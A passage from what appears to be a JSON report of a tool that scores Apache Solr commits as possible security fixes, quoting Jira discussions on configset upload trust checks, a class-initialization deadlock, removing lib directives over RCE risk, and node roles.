would you like to be credited? epugh I created the PR with the contents of the patch file. I hope I got it right. At least it showed up here automatically. I did these steps before your patch, and things worked, which I didn't expect. Notice, I DID have to turn on the security. WOuld you mind retesting? Your intuition of what the problem is makes sense to me, I just can't duplicate the error! Test on Solr 8.11 branch curl \"http://localhost:8983/solr/admin/configs?action=CREATE&name=test&baseName=_default\" --> security alert bin/solr auth enable -type basicAuth -prompt true -z localhost:9983 -blockUnknown true --> admin/password curl -u admin:password \"http://localhost:8983/solr/admin/configs?action=CREATE&name=test&baseName=_default\" --> Works curl -u admin:password \"http://localhost:8983/solr/admin/collections?action=CREATE&name=test&collection.configName=test&numShards=1\" --> WOrks curl -u admin:password -X POST -H 'Content-Type: application/json' -i http://localhost:8983/solr/test/schema --data '{ \"add-field\": {\r\n \"name\":\"my-field\",\r\n \"type\":\"string\",\r\n \"stored\":true } }' echo ' {\"hello\":\"world\"} ' > test.json --> WOrks curl -u admin:password -X POST --header \"Content-Type:application/json\" --data-binary @test.json \"http://localhost:8983/solr/admin/configs?action=UPLOAD&name=test&filePath=test.json\" I re-checked your steps to repeat and have to admit that it worked for me, too. In the past I was running the server with \u00a0-Dsolr.disableConfigSetsCreateAuthChecks=true so I did not get the security alert. So it runs into the parse error only with an unauthenticated (unthrusted) request which then tries to call ensureOverwritingUntrustedConfigSet Nevertheless I am still a bit curious about that 0-byte overwriting and wonder if the trusted info at the config set should be overwritten like that. Okay, I just tried it with -Dsolr.disableConfigSetsCreateAuthChecks=true, and it does avoid the security check, so one issue better understood. (I sent an email to dev mailing list about if we should be keeping this feature in the 9X line, and if we do, we ought to document it!). I went through your steps, on branch_9_0, and I get a JSON parsing error. Which I referenced in SOLR-16164 . I'm going to try the fix I outlined in SOLR-16164 , and then see what happens. Okay, with -Dsolr.disableConfigSetsCreateAuthChecks=true and my patch, I was able to get ALL the way to the upload and then had that blow up.... In getConfigMetadata() I am now checking if the ZK data was null (which is what the patch checked for), and it's not null. Now we get a JSON parser error! 022-04-25 19:19:42.447 ERROR (qtp1463022229-25) [] o.a.s.h.RequestHandlerBase org.noggit.JSONParser$ParseException: JSON Parse Error: char=,position=0 AFTER='' BEFORE='' => org.noggit.JSONParser$ParseException: JSON Parse Error: char=,position=0 AFTER='' BEFORE='' Okay!!! With your patch, I now get a NICE error message. Is this what you think you should be getting? : { \"responseHeader\": {\r\n \"status\":400,\r\n \"QTime\":2} , \"error\":{ \"metadata\":[ \"error-class\",\"org.apache.solr.common.SolrException\", \"root-error-class\",\"org.apache.solr.common.SolrException\"], \"msg\":\"Trying to make an untrusted ConfigSet update on a trusted configSet\", \"code\":400}} I then enable security and it works!!! \u279c dev git:(branch_9_0) \u2717 curl -u admin:password -X POST --header \"Content-Type:application/json\" --data-binary @test.json \"http://localhost:8983/solr/admin/configs?action=UPLOAD&name=test2&filePath=test.json\" { \"responseHeader\": {\r\n \"status\":0,\r\n \"QTime\":80} } Yes, that's what I would have expected to get for the untrusted request. Originally I also expected that I would be allowed to upload to the configset regardless if trusted is true or false due to the switch \u00a0-Dsolr.disableConfigSetsCreateAuthChecks=true We 're going to use authentication in future projects and currently worked around the upload issue. So I would not mind if the switch / untrusted upload mode is not available anymore in Solr 9 I updated the PR to main: https://github.com/apache/solr/pull/831 Commit 98852e5dc67e53f0f2131681c2b562264c3988af in solr's branch refs/heads/main from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=98852e5dc67 ] SOLR-16110 : Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer Commit e0bf3d4a4bdea9c26e2d774529f36533a48b1411 in solr's branch refs/heads/branch_9x from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e0bf3d4a4bd ] SOLR-16110 : Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer Commit 88adac1ae64e4e9626ff593d175fa6732a2bf79e in solr's branch refs/heads/main from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=88adac1ae64 ] SOLR-16110 : add CHANGES.txt Commit b9b64e16ab959e2fc25d98e8a4f8851cd3bc63a3 in solr's branch refs/heads/branch_9x from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=solr.git;h=b9b64e16ab9 ] SOLR-16110 : add CHANGES.txt Thanks smoldenhauer ! You should see the commit linked to your github handle as well since I based my changes on yours. Bulk closing 9.1 issues. Commit 7bd8229f4db031f81b84e15881a483244967a8e1 in lucene-solr's branch refs/heads/branch_8_11 from Kevin Risden [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=7bd8229f4db ] SOLR-16110 : Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer " + }, + "ghissue_refs": { + "831": "Shared PQ Based Early Termination for Concurrent Search #854" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: This, Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16110 contains some security-related terms: security", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16110", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 831", + "relevance": 2 + } + ] + }, + { + "commit_id": "89fb1eef03da0a4fec2699a1ba17e6e78402ac28", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1697007754, + "hunks": 3, + "message": "SOLR-16165: Rare deadlock in SlotAcc initialization (#819)", + "changed_files": [ + "solr/core/src/java/org/apache/solr/search/facet/Constants.java", + "solr/core/src/java/org/apache/solr/search/facet/FacetFieldProcessorByArray.java", + "solr/core/src/java/org/apache/solr/search/facet/SlotAcc.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16165": "The core of the issue is that if a parent class reference an instance of its own child class as a static field, a deadlock can be created if 1 thread tries to access the parent class and another thread to the child class. Thread A \"qtp1393828949-98\" #98 prio=5 os_prio=0 cpu=294.10ms elapsed=6252.75s allocated=53246K defined_classes=243 tid=0x00007fa47c007000 nid=0x349c4e in Object.wait() [0x00007f9896620000] java.lang.Thread.State: RUNNABLE at org.apache.solr.search.facet.SlotAcc.(SlotAcc.java:830) at org.apache.solr.search.facet.FacetFieldProcessorByHashDV.createCollectAcc(FacetFieldProcessorByHashDV.java:271) at org.apache.solr.search.facet.FacetFieldProcessorByHashDV.calcFacets(FacetFieldProcessorByHashDV.java:255) Thread B \"qtp1393828949-2379\" #2379 prio=5 os_prio=0 cpu=34.52ms elapsed=6013.46s allocated=20426K defined_classes=0 tid=0x00007fa49c081800 nid=0x34a58b in Object.wait() [0x00007f5fcfae7000] java.lang.Thread.State: RUNNABLE at org.apache.solr.search.facet.FacetFieldProcessorByArray.createCollectAcc(FacetFieldProcessorByArray.java:85) at org.apache.solr.search.facet.FacetFieldProcessorByArray.calcFacets(FacetFieldProcessorByArray.java:144) at org.apache.solr.search.facet.FacetFieldProcessorByArray.process(FacetFieldProcessorByArray.java:94) ... # Thread A : FacetFieldProcessorByHashDV.java:271 indexOrderAcc = new SlotAcc(fcontext) { , which accesses class SlotAcc , it would have a class init lock on SlotAcc (assuming first time loading SlotAcc in classloader) but BEFORE run to line SlotAcc.java:830 Thread B: FacetFieldProcessorByArray.java:85 countAcc = new SweepingCountSlotAcc(numSlots, this); . Accesses SweepingCountSlotAcc (also assuming first time loading SweepingCountSlotAcc in classloader), loads and initialize based on hierarchy SweepingCountSlotAcc > CountSlotArrAcc > CountSlotAcc -> SlotAcc , obtain lock and initialize SweepingCountSlotAcc , CountSlotArrAcc , CountSlotAcc but blocked on loading/initializing parent class SlotAcc , since Thread A has lock and is already initializing it Thread A: run to line 830 static final CountSlotAcc DEV_NULL_SLOT_ACC = new CountSlotAcc(null)... Found CountSlotAcc , it will attempt to load CountSlotAcc as well, but such lock is held by Thread B Deadlock in SlotAcc initialization At FullStory, we encountered this bug recently and created a fix on our fork. This also recently came up on the mailing list so opening a bug and will provide a PR shortly. We also encountered this similar problem. Opened PR 819 Could open this as a separate issue/PR, but I thought it'd be worth checking for other instances of this pattern in the codebase. I attached StaticInitializerReferencesSubClass.xml , a report from Intellij/IDEA that points out other cases (including the SlotAcc case). I'd guess that the SlotAcc case is particularly likely to manifest as deadlock because the subclass reference is buried near the end of the class. The others seem to be near the beginning of their class, so perhaps a narrower window to manifest as deadlock? Or perhaps there's something about the context in which the other cases are called that makes them not vulnerable (or less vulnerable) in practice? As a proof-of-concept I tried integrating palantir's `baseline-error-prone` gradle plugin, which adds a check for ClassInitializationDeadlock . It caught the DocRouter and TimeSource cases, but not any of the others (including SlotAcc). magibney I'd agree that as a separate issue, doing some cleanup of those would be valuable. These can be tricky to encounter and track down in the real world so fixing as many as we can seems like a valiant effort. I'd be happy to help with that. Commit b73a28c90cc552183a8a8b4c07d07c19a299732b in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=b73a28c90cc ] SOLR-16165 : Rare deadlock in SlotAcc initialization (#819) Commit ccc5db9fd04fa3f22e6f92968a899e40d2318357 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=ccc5db9fd04 ] SOLR-16165 : Rare Deadlock in SlotAcc initialization Commit 4c8ea4893d16657ee2ae30e7c2ce89ad929e9a4a in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=4c8ea4893d1 ] SOLR-16165 : Rare deadlock in SlotAcc initialization (#819) Commit a7731e8acc56b6b1244abe753e336c2cae37075b in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=a7731e8acc5 ] SOLR-16165 : CHANGES.txt Commit d9a039729d1ddca6d03304627d2aad21eeb25006 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d9a039729d1 ] SOLR-16165 : CHANGES.txt Commit c2399dbad4d3eb918a588a6fac92dc240e3d2aeb in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=c2399dbad4d ] SOLR-16165 : Rare deadlock in SlotAcc initialization (#819) Commit b7ec5b5ada327d0502760bed2e041f6ef5f36fd6 in solr's branch refs/heads/branch_9_1 from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=b7ec5b5ada3 ] SOLR-16165 : CHANGES.txt Commit d22a0781aeadda9061dac167f8aec065dd60f433 in solr's branch refs/heads/branch_9x from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=d22a0781aea ] SOLR-16165 : CHANGES.txt Commit da67c104dab7b9be9d69a9484abf5411260ebdf7 in solr's branch refs/heads/main from Noble Paul [ https://gitbox.apache.org/repos/asf?p=solr.git;h=da67c104dab ] SOLR-16165 : CHANGES.txt Closing after the 9.1.1 release Commit 89fb1eef03da0a4fec2699a1ba17e6e78402ac28 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=89fb1eef03d ] SOLR-16165 : Rare deadlock in SlotAcc initialization (#819)" + }, + "ghissue_refs": { + "819": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: This", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/search/facet/Constants.java, solr/core/src/java/org/apache/solr/search/facet/SlotAcc.java, solr/core/src/java/org/apache/solr/search/facet/FacetFieldProcessorByArray.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16165 contains some security-related terms: vulnerable", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16165", + "relevance": 2 + }, + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 819", + "relevance": 2 + } + ] + }, + { + "commit_id": "eff22ac1afbb16ba614bfcd190ba122b061ccdf2", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1699292953, + "hunks": 1, + "message": "SOLR-16781: Making tests pass", + "changed_files": [ + "solr/core/src/java/org/apache/solr/core/SolrConfig.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-16781": " directives in solrconfig.xml used to be recommended way for including additional jar files to the classpath for a particular collection or collections. For context: This feature required complex handling of \"trusted\" vs \"non-trusted\" configsets in configset upload API to keep Solr secure (i.e. to stop RCE attacks for non-authentication enabled deployments). This security feature also broke down recently due to a bug in Schema designer ( SOLR-16777 ). Supported alternatives exist that are safer: user can add the jar files to Solr's classpath use packages to use custom jars per collection In the light of these, there's no need to continue to support the directive going forward. I propose to remove the directives handling and functionality through this issue. Remove directives from Solr If there should be a such a feature , it should be in solr.xml This is a duplicate of SOLR-6681 from 2014! Supported alternatives exist that are safer [... e.g.] use packages to use custom jars per collection Is the package manager ready to take on all of the usecases that our users previously leaned on for? I haven't followed package-manager development too closely, but my understanding was that it still had certain limitations that would make it hard to replace e.g. support for \"standalone\" Solr deployments ( SOLR-16152 ). This feature required complex handling of \"trusted\" vs \"non-trusted\" configsets in configset upload API to keep Solr secure (i.e. to stop RCE attacks for non-authentication enabled deployments) Is the thought then that this ticket would also deprecate or remove the trusted/untrusted distinction in 10? Or is that still relevant even if goes away? I think the trusted/untrusted construct is a key pain point. I'm not familiar enough with the other two features that seem to require it to know if we can eliminate that complexity but there might be a way to simplify handling that removes the need for trusted/untrusted in its case. Rather than getting rid of entirely, change it so that by default, it throws an error for anything outside the solr classpath. Then add a startup level configuration that adds directories to the legal locations for . This could be some combination of sysprops/environment or even something in the possible replacement for solr.in.sh contemplated by SOLR-7871 . We can debate if these locations can be recursive, and what to do (if anything) about symlinks. Thus we wind up with a two stage process: The folks who install solr define the playground The folks who interact with solr do whatever they are permitted to within that playground. Ideally in addition to throwing an error when the config set tries to load the upload process would also run this check on any files uploaded to fail fast and friendly for the user. This way would have the benefit that organizations can tune their installation to be as strict or permissive as they like. We should create good clear documentation explaining that allowing libraries to be loaded from a location to which untrusted (or less trusted) users can cause a file to be written (via solr or otherwise) makes it possible for those with config-edit to effectively install code. If they want to run with scissors, knowing the danger, let them, just don't make it the default. I'm not leaping on the solr.xml suggestion because some installs run with solr.xml in zookeeper, and configuring locations where solr can look for stuff seems like something that will be be determined by sysadmin folks at larger organizations who wouldn't want to be mucking around with solr.xml which contains a lot of esoteric search related stuff they might break. I could probably be sold on solr.xml also being a potential source, but if we have more than one location to configure this, precedence and/or merging behavior needs to be clear. PS: solr.xml loading from ZK is deprecated and gone in 10.0. But a config in solr.xml similar to solr.allowPaths makes sense. ${solr.allowPaths:} The default could be empty set, i.e. nothing allowed, and it would be up to users to define defaults. There could be a few special values: \"*\" means allow all, for quick back-compat etc. Or would it be enough to simply fail if any is outside the already defined solr.allowPaths (which defaults to $SOLR_HOME, $SOLR_DATA_HOME & coreRootDir? Added a patch for this (branch_8_11). Updated the patch, this is ready to commit. For the record: on ASF slack, janhoy and houstonputman expressed concerns regarding disabling directives by default. Hence, I'm not committing it right away, even though I think this is the right thing to do. No feature should be enabled by default that can be a security risk for RCEs etc. This holds up the 8.11.3 release, unfortunately. I wonder how we can start messaging to extension developers what they should be doing? A Plugin Guide? I'm thinking of all the installations of querqy that jsut use the lib dir... I'm definitely in favor of getting rid of the lib tag because there are better alternatives. \u00a0Let's do so for the next minor release like 9.5! \u00a0(flag to disable; remove altogether in main) No feature should be enabled by default that can be a security risk for RCEs etc That's a sweeping statement. \u00a0Many things can be a risk; Solr has tons of features and the vast majority of them are enabled by default, for better or worse. Take your pick... remember the XML query parser CVE? \u00a0Who would have thought. If I could block one thing by default to enhance Solr security, it'd be any sort of configuration editing, either at core level, or even ConfigSet upload. \u00a0Maybe that's not \"one thing\", it's a category, and I recognize the ConfigSet aspect isn't workable for most users (even though this is how I run Solr at work \u2013 immutable infrastructure). \u00a0Hello FileSystemConfigSetService! \u00a0Sorry; getting a bit off topic. I am for introducing solr.lib.directive.allowed property, and making it default to \"true\" in 8.x and 9.x, but with deprecation logging. Then in main (10.0) we default it to \"false\", and in 11.0 it is removed entirely. This of course requires proper communication, perhaps a blog post or two, etc. It would be a great way to educate users about modules, packages and shardedLib. I like the suggestion that janhoy provided. I'm going to remove this from \"Release Version\" 8.11.3, unless y'all are ready to merge this (with the option set to \"true\" by default). ichattopadhyaya What's the followup plan on this? Do you agree with the conservative plan proposed above Deprecate in 9.6 Enabled by default in 9.x (but with deprecation logging) Disabled by default in 10.x Removed from 11.0 We can remove in 10; no need to wait for 11. Agreed. Remove in 10. Possibly add an option to disable in 9 which is set to \"false\" by default. This option is not included in 10 obviously. Sure, there is still a few 9.x releases where users can start changing their habits. And any user upgrading to 10.0 will have a round of testing where she will have time to move libs to another location, or stay on 9.x a bit longer. Let's do it..." + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/core/SolrConfig.java", + "relevance": 8 + }, + { + "id": "SEC_KEYWORDS_IN_LINKED_BUG", + "message": "The bug tracking ticket SOLR-16781 contains some security-related terms: secure, security, rce", + "relevance": 4 + }, + { + "id": "BUG_IN_MESSAGE", + "message": "The commit message references some bug tracking ticket: SOLR-16781", + "relevance": 2 + } + ] + }, + { + "commit_id": "2da4332072ffffb0581ef60d11de5b0d157452ac", + "repository": "https://github.com/apache/lucene-solr", + "timestamp": 1698107825, + "hunks": 79, + "message": "SOLR-15694, 15715: Node roles and dedicated query coordinator nodes", + "changed_files": [ + "solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java", + "solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java", + "solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java", + "solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java", + "solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java", + "solr/core/src/java/org/apache/solr/core/CoreContainer.java", + "solr/core/src/java/org/apache/solr/core/NodeRoles.java", + "solr/core/src/java/org/apache/solr/handler/ClusterAPI.java", + "solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java", + "solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java", + "solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java", + "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java", + "solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java", + "solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java", + "solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java", + "solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java", + "solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java", + "solr/core/src/java/org/apache/solr/request/SimpleFacets.java", + "solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java", + "solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java", + "solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java", + "solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java", + "solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java", + "solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java", + "solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java", + "solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java", + "solr/core/src/java/org/apache/solr/update/UpdateLog.java", + "solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java", + "solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java", + "solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml", + "solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml", + "solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml", + "solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml", + "solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java", + "solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java", + "solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java", + "solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java" + ], + "message_reference_content": [], + "jira_refs": { + "SOLR-15694": "I think we should have first class support for starting a Solr node in a mode whereby no cores will be placed on them. These nodes are useful for certain scenarios: Dedicated overseer nodes Nodes where only plugins are installed and used (e.g. cluster/node level plugins) Dedicated nodes for querying (more on this to come later). Today, to achieve this effect, one can: 1. start a node (which will make it join live_nodes and be immediately available for replica placement). 2. Put replica placement rules or autoscaling policies to prevent replicas from being placed there. This is not standardized, 8x has two ways to achieve this (replica placement rules and autoscaling framework), 9x has a new autoscaling framework. Proposing a start parameter for starting a node that starts the node in this configuration, and then internally this is handled appropriately (across 8x and 9x). This should be Kubernetes/Docker friendly as well, since it is easy to add an additional parameter for a startup (instead of putting things into autoscaling.json in ZK via init scripts). Concept of node roles and non-data nodes This has been discussed many times. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. One role coud be \"zk\", which would let the node start an embedded zookeeper (for a future managed zk feature), and then you could combine it with \"data\" if the node should also be eligible for index/search. There may be other roles such as \"streaming\" perhaps which would only host streaming expression jobs, etc. This is definitely SIP worthy. janhoy , thanks. That is good feedback. This has been discussed many times. Can you please point me to that? Will link to that in future discussions. I think it should be a generic concept of a \"node role\", which can then be one or more roles that will dictate how the node acts. Today, we have a role \"overseer\" for a node. However, many users look for dedicated overseer nodes (nodes that don't handle querying or indexing), and there's no easy way today. and then you could combine it with \"data\" if the node should also be eligible for index/search. Do you recommend that we have a role \"data\" for nodes (regular nodes as we have today)? In that case, what would absence of this \"data\" role for a node mean the node doesn't host any cores? This seems reasonable for what I intend to achieve with usecases I have in mind. This is definitely SIP worthy. I'll create one, thanks janhoy We already have a file /roles.json in ZK. It has a key called \"overseer\" now. We can add a new key called \"query-nodes\" and add nodes to that Ah, did not know about that. A thousand questions pop up, such as: Should roles be supported in leader/follower mode? What would be the best way to designate roles to a node? A global file in ZK like /roles.json is one way. ENV_VARs or SysProps at each node is another. How dynamic do we need this to be, are there business needs to (re)assign roles at runtime, and in that case do we need a REST API for it? If dynamic, what role(s) would a brand new node (or k8s pod) added to the cluster be assigned? What happens if you have only assigned a role to one node and that node leaves the cluster? Should that be configurable, or would there be some cluster level plugin monitoring events, that makes such decisions? etc etc Looking forward to seeing a SIP with a thorough design and recommendation on this. Looking forward to seeing a SIP with a thorough design and recommendation on this. I'll write up the SIP today. We can address these questions there and link to this JIRA. Here's the SIP: https://cwiki.apache.org/confluence/display/SOLR/SIP-15+Node+roles Discussion is happening here: https://lists.apache.org/thread.html/rb3cbfddb6e3af9c671d037ce1e7341544a2f1ab287f184c8f53ac44c%40%3Cdev.solr.apache.org%3E Browsing the other SIPs, SIP-11 is potentially related, as ir proposes some nice cleanup of accessing cluster-level config. Not saying we should not wait for that, but I'll ping ab to explore synergies. Commit 24e5ba7105ea774de0b319337c6809d2839b9f8a in solr's branch refs/heads/jira/SOLR15694 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=24e5ba7 ] SOLR-15694 : Ref guide changes Commit e32e58c20be0540c6e89679a57aac26616911e3d in solr's branch refs/heads/main from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e32e58c ] SOLR-15694 : Node roles Commit e19a13f8146a713fe883c9a17809dc542638cc85 in solr's branch refs/heads/branch_9x from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=solr.git;h=e19a13f ] SOLR-15694 : Node roles Can you close this and also move SIP-15 to correct section in the list? https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ichattopadhyaya why is this till open? Also the SIP (see previous comment) is listed as \"under discussion\". I'll try once moce ichattopadhyaya noble.paul Can you please move the SIP-15 to the \"Implemented\" section here https://cwiki.apache.org/confluence/display/SOLR/Solr+Improvement+Proposals ? Done. Commit 2088d743db9304492ab19c14bc80c6187f172b79 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2088d743db9 ] SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul Commit 68fa493b8f959788216eb48f6bcef825fe8e24e6 in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=68fa493b8f9 ] Revert \" SOLR-15694 , SOLR-15715 : Node roles and dedicated query coordinator nodes\" This reverts commit 2088d743db9304492ab19c14bc80c6187f172b79. Commit 2da4332072ffffb0581ef60d11de5b0d157452ac in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=2da4332072f ] SOLR-15694 , 15715: Node roles and dedicated query coordinator nodes Commit b54a788fe71c7f87a8b8564461cb196c138fc7ce in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=b54a788fe71 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Commit 002b3ce67bea7dfe114c3b7dfdceb00b8777363c in lucene-solr's branch refs/heads/branch_8_11 from Ishan Chattopadhyaya [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=002b3ce67be ] Revert \" SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time)\" This reverts commit b54a788fe71c7f87a8b8564461cb196c138fc7ce. Commit ace7641edb762d31519df1db845885dfd31caee4 in lucene-solr's branch refs/heads/branch_8_11 from noblepaul [ https://gitbox.apache.org/repos/asf?p=lucene-solr.git;h=ace7641edb7 ] SOLR-15694 , 15715: Create ephemeral roles properly (missed backporting these changes last time) Hi ichattopadhyaya , We are trying to use the Node roles feature to set a preferred Overseer in our Solr 9 fork. What is the purpose of having overseerDesignate in addition to specifying a preferredOverseer ? How is it specified via startup parameters? In our fork, I am configuring one node in the SolrCloud cluster with -Dsolr.node.roles=overseer:preferred,data:on . All other nodes are set to overseer:allowed,data:on by default. I have observed that during a rolling restart, the OverseerNodePrioritizer almost always elects the preferred Overseer as the Overseer, provided it is up. Additionally, since the overseerDesignate list remains empty (until the preferred Overseer is added to it), it does not affect this outcome." + }, + "ghissue_refs": {}, + "cve_refs": [], + "twins": [], + "tags": [ + "releases/lucene-solr/8.11.3" + ], + "matched_rules": [ + { + "id": "CHANGES_RELEVANT_CODE", + "message": "The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr", + "relevance": 8 + }, + { + "id": "CHANGES_RELEVANT_FILES", + "message": "The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, 